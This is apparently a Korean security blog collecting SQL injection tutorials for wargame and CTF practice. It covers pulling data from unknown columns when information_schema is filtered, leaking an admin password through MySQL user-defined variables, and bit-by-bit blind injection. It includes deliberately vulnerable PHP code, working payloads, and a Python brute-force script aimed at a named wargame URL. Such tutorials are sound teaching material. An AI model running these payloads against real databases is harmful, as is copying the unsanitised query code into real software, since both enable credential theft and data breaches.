[SQL injection] get unknown Column’s data

SQL injection_ get unknown Column’s data


“SELECT * FROM Table WHERE …”
위처럼 Column의 이름을 알지 못할 경우 해당 information_schema의 Column 테이블에서 가져와야 한다.
하지만 information_schema가 막힌경우 Column의 이름을 알 수 가 없다. 
그러나 이번 글에서 이름을 알지 못하는 Column의 정보를 가져오는 방법을 알아보자

Concept

일반적인 SQLi 경우 컬럼의 정보를 얻기 위해 information_schema.columns 에서 가져 오게 된다.
하지만 information_schema 접근이 막혔을 때는 어떻게 해야할까?

원리는 간단한다.
원하는 컬럼명을 넣고 > 원하는 unknown 컬럼의 이름을 으로 alias로  원하는 컬럼 명으로 출력한다.
아래 소스 코드를 보고 좀 더 이해해 보자.

Example

<?php
ini_set("display_errors", 0);
$link = mysqli_connect(_HOST_,_USER_,_PASS_,_DB_) or die();
if(preg_match("/information|schema|\./i",$_GET[id]) 
    || preg_match("/information|schema|\./i",$_GET[pw])) 
    die("no hack ~_~");
$sql="SELECT * FROM `SIL_TEST` WHERE `id` = '{$_GET['id']}' and `pw` = MD5('{$_GET['pw']}')";
$r = mysqli_fetch_array(mysqli_query($link, $sql));

echo "<h2>Can you Found other column's data?</h2><br>";
echo $r['id'].":".$r['pw'];
echo "<hr>";
show_source('index.php');

간단히 만든 예제 이다. 
다른 컬럼의 내용을 알아 내라고 했으나 information_schema의 접근은 불가능한 상태이다.

Solution

가장 먼저 DB의 구조를 파악해야 한다.
Query: ?id=' or 1 union select 1,2,3 %23 이렇게 컬럼의 갯수를 알아 낸다.

이후엔 원하는 컬럼의 내용을 출력하기 위해 해당 내용을 써내야 되는데,

현재 출력되는 컬럼은 첫번째와 두번째 컬럼 ‘1’과 ‘2’ 므로 원하는 곳에 x(또는 원하는 문자나 숫자)를 넣어준다.
이후 FROM절에서 SIL_TEST의 3번째 값을 alias를 이용해서 x로 가져오면 된다.

Query: ?id=' or 1 union select 1,x,3 from (select 1,2,3 as x union select * from SIL_TEST limit 1,1)as dummy limit 1,1%23
이렇게 하게 되면 3번째 컬럼의 값이 나오게 된다.

Explain Query

SQL 쿼리는 제일 안쪽 괄호에서 부터 풀어져 나오므로 하나씩 차근차근 보자

Step 1 (select 1,2,3 as x union select * from SIL_TEST limit 1,1)

가장먼저 앞쪽의 “select 1,2,3 as x” 의 의해서 | 1 | 2 | x | 라는 컬럼 이 만들어지고 각각 1,2,3이란 데이터가 들어가게 된다.
그리고 “union select * from SIL_TSET”를 실행 하게 되는데, 이때 위에서 만든 | 1 | 2 | x | 컬럼에 SIL_TEST의 값이 아래에 들어가게 된다.
여기까지의 쿼리 실행 결과를 가져오면

|     1      |     2    |     x     | 
|        1              2      |        3      |  > select 1,2,3 as x에서 가져온 값
|    data1    |   data2   |   data3   |  > select * from SIL_TEST에서 가져온값

이렇게 표시 된다. 그리고 마지막의 limit 1,1 으로 |   data1   |   data2   |   data3   |  값만 가져오게 된다.

Step 2 union select 1,x,3 from ( /STEP 1/ )as dummy limit 1,1 %23

이제 우리가 원하는 ‘data3’ 은 ‘x’라는 이름의 컬럼에 들어가 있다. 이제는 단순히 SELECT 결과를 FROM절을 통해 가져오는 것 뿐이다.
(/STEP 1/) as dummy는 만들어진  |   data1   |   data2   |   data3   |  이녀석을 Table 처럼 사용하기위해 들어간 것이다.
그리고 이렇게 실행된 쿼리의 결과를 가져오면

|     1      |     x    |     3     | 
|  dummy  |  dummy  | dummy  |  > ‘ or 1로 가져온 더미 값 또는 앞쪽 SQL문의 실행 결과 값
|         1       |   data3   |       3      |  > /STEP 1/ 에서 만든  |   data1   |   data2   |   data3   | 에서 가져온 값

이렇게 가져왔으니 limit으로 짜르거나 아에 처음부터 or 1을 안넣어 바로 나오게 하는 방법도 있다.

 

 

“” 리얼 월드에선 잘 쓰이지 않을 것 같지 않지만, 우리의 지적 탐구심을 자극하기에는 충분한것 같다.

References CTF or Wargame
Wargame.kr adm1nkyj
Codegate 2017 2D-Life

SQL Injection using User Defined Variable

SQL Injection using User Defined Variable


사용자 정의 변수를 이용한 SQL injection 기법(거의 문제 풀이용…)

Syntax[refer]

SELECT @UDV := 'String', @UDV := Numeric 
 OR
SET @UDV := 'String'
SELECT * FROM Table WHERE 'Column'[email protected]

MySQL에선 “사용자 정의 변수“를 지원한다. 기본적인 문법은 “@변수명“이고 “:= 값“연산자로 변수에 값을 넣을 수 있다.
하지만 이 변수 선언이 WHERE절 에서도 가능하다는 점이 이 글의 중점이다.

아래와 같은 구조와 데이터를 가진 DB가 있다고 하자.

이때 인증 방식이 아래와 같다.

<?php
$sql = "SELECT `id` FROM `users` WHERE `id`='{$_GET[id]}' and `pw`='{$_GET[pw]}'";
$result = mysql_query($sql);
$row = @mysql_fetch_array($result);

if( isset($row['id']) ) {
	echo "<h1>Welcome! $result['id']</h1>"; 
}

$_GET['pw'] = addslashes($_GET['pw']); // stupid security

$sql = "SELECT `id` FROM `users` WHERE `id`='admin' and `pw`='{$_GET[pw]}'"; // R U Admin?
$result = mysql_query($sql);
$row = @mysql_fetch_array($result);
 
if( isset($row['pw']) && ($row['pw'] === $_GET['pw'])) {
	echo "<h1> $IMPORTANT_DATA </h1>";
}	

1 ~ 8번째 줄까지는 입력된 idpw를 사용해  불러온 id를 “Welcome! {id}”으로  출력 시켜준다.
게다가 그 어떠한 필터링 처리도 되어 있지 않다.
하지만 10번째 줄 이후 부터는 싱글 쿼터를 막는 addslashes함수가 사용되어 12번째 SQL 문장을 공격 할 수 없다. 

게다가 12번째 줄부터는 admin 계정에 대한 정보 인증인데,
입력한 pw가 DB에 있는 pw와 일치하지 않으면,  $IMPORTANT_DATA를 표시 하지 않는다.

보통 이러한 경우 Blind SQL injection을 이용해 pw의 값을 찾아낼 수 있다.
하지만 사용자 정의 변수(User Defined Variable)를 이용하면 한번에 해결 할 수 있다.

 

사용자 정의 변수 사용

SELECT id FROM users WHERE id='admin' and pw='{ ' or @sil := pw #}'

쿼리를 해석하면 WHERE id='admin' and pw='는 FALSE이기 때문에 모두 무시된다. 
하지만 @sil := pw 부분은 사용자 정의 변수선언 되었기 때문에 TRUE를 반환한다.

즉, SQL 쿼리가 참이 되면서 모든 id 값이 나오게 된다. 그리고 해당 결과 값으로 우리가 보는 페이지에는

출력: Welcome! guest

가 뜨게 된다.  

이때 UNION SELECT를 이용해 우리가 저장한 pw 값을 불러 올 수 있다.

SELECT id FROM users WHERE id='admin' and pw='{ ' or @sil := pw UNION SELECT @sil#}'

옆 이처럼 제일 아랫부분에 PW 값이 뜨는 걸 볼 수 있다!
하지만 이는 제일 아래 있기 때문에

출력: Welcome! guest

출력 제일 위로 올려줘야 하고, 출력 될 pw 값을 admin의 pw로 바꿔주기 위해 쿼리를 수정 해야 한다.

최종 쿼리

SELECT id FROM users WHERE id='admin' and pw='{ ' or id='admin' and @sil := pw UNION SELECT @sil limit 1,1#}'

limit이 없을 때 결과

출력: Welcome! admin

 

Limit으로 admin의 pw 값만 뽑아낸 결과

출력: Welcome! 21232f…

 

이 방식의 가장 큰 이점은 blind SQLi 를 통해 일일히 구해야 하는 pw값을 빠르게 찾을 수 있다는 것이다.

Efficient Blind SQL injection

Efficient Blind SQL injection

Efficient Blind SQL injection 즉, 효율적인 블라인드 SQLi란 말 그대로 효율을 극대화한 블라인드 SQLi이다.
기존 Blind SQLi는 한 글자를 알아내기위해최대(big-O)26번이고 만약 대소문자를 구분한다면 26*2인 52번의 공격 시도를 해야한다.
하지만 Efficient Blind SQLi는 문자를 2진수로 바꾸어 최대(big-O)7번의 시도만으로 한 글자를 알아 낼 수 있다.

개념 설명

MySQL의 경우 bin() 이라는 함수가 존재한다.
이 함수는 int를 binary로 바꾸어주는 함수. 즉, 10진수를 2진수로 바꾸어 주는 함수이다.

이를 이용해 영문자의 ascii 범위인 32 ~ 126사이의 수를 binary로 표현 하면,
0100000 ~ 1111110 가 된되며 최대 7자리의 2진수가 생기게 된다. (∵ascii(‘ ‘) ~ ascii(‘~’)가 32~126 까지이기 때문 )

이를 다시 한글자씩 뽑아내면 7번의 시도로 해당 글자를 알수 있다.

이해가 힘들다면 아래의 예를 보자.

Bfficient Blind SQLi Example

character : char= ‘q’

  1.  먼저 찾을 문자를 뽑아 낸다. 
    >> substr(char,1,1)
  2. 뽑은 값을 ascii로 변환시켜준다.
    >> ascii(substr(char,1,1))
  3. 해당 값을 bin()함수를 이용해 binary로 변환 시켜준다.
    >> bin(ascii(substr(char,1,1)))
  4. * 7자리를 체워준다. (∵MySQL은 0011(2) 11(2)로 출력하기때문)
    >> lpad(bin(ascii(substr(char,1,1))),7,0)
  5. 이를 다시 substr로 한글자씩 뽑아 찾는다.
    >> substr(lpad(bin(ascii(substr(char,1,1))),7,0),1,1)

Example payload : char=’ substr(lpad(bin(ascii(substr(pw,1,1))),7,0),1,1)=1

substr(lpad(bin(ascii(substr(char,1,1))),7,0),1,1) = 1 >> True   [1]
substr(lpad(bin(ascii(substr(char,1,1))),7,0),2,1) = 1 >> True   [1]
substr(lpad(bin(ascii(substr(char,1,1))),7,0),3,1) = 1 >> True   [1]
substr(lpad(bin(ascii(substr(char,1,1))),7,0),4,1) = 1 >> False   [0]
substr(lpad(bin(ascii(substr(char,1,1))),7,0),5,1) = 1 >> False   [0]
substr(lpad(bin(ascii(substr(char,1,1))),7,0),6,1) = 1 >> False   [0]
substr(lpad(bin(ascii(substr(char,1,1))),7,0),7,1) = 1 >> True   [1]

bin(ascii(‘q’)) = 1110001

이와 같은 방법으로 찾을 수 있다.

실습

실습은 Lord of SQL injection의 문제중 Orc문제로 해보면 이해가 더 쉽다.

Efficient Blind SQL injection Source Code

import requests
import urllib
silnex=''

url="http://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw="
for chr_l in range(1,9):
	binary=''
	for bin_l in range(1,8):
		param="' or id='admin' and substr(lpad(bin(ascii(substr(pw,"+str(chr_l)+",1))),7,0),"+str(bin_l)+",1)%261%23"
		s=requests.get(url+param,cookies={'PHPSESSID':'SESSION HERE'})
		print url+param
		if "<h2>Hello admin</h2>" in s.text:
			binary+='1'
		else:
			binary+='0'
		print binary
	silnex = silnex+('%x' % int(binary, 2)).decode('hex')
	
print silnex

 

[SQL injection]Bilnd SQL injection

FILE_

The basic of Blind SQL Injection-pride from 해커스쿨
Blind SQL injection mysql-5 from ???

 

BLOG_

blind sql injection(1) – 기초

blind sql injection(2) – 기초

 

FUNCTION_

str = string, char = character, num# = number
same paragraph is similar funtion

substr(str, num1, num2) > return char
mid(str, num1, num2) > return char

length(str) > return number (length of str)

ascii(char) > return number(dec)
hex(char) > return number(hex)

concat(char or str, ..) >return string

char(number) > return (base of ascii)

locate(ori_str,sub_str,[opt]) > return point number
instr(ori_str,sub_str) > return point number
     etc…

 

Conditionals_

if (condition)
    (output)
  else
    (output)
case (condition)
   when (result)
     then (output)
   else
     (output)

     etc…

 

Regex

like (%{string} or _{char})
regex (regex)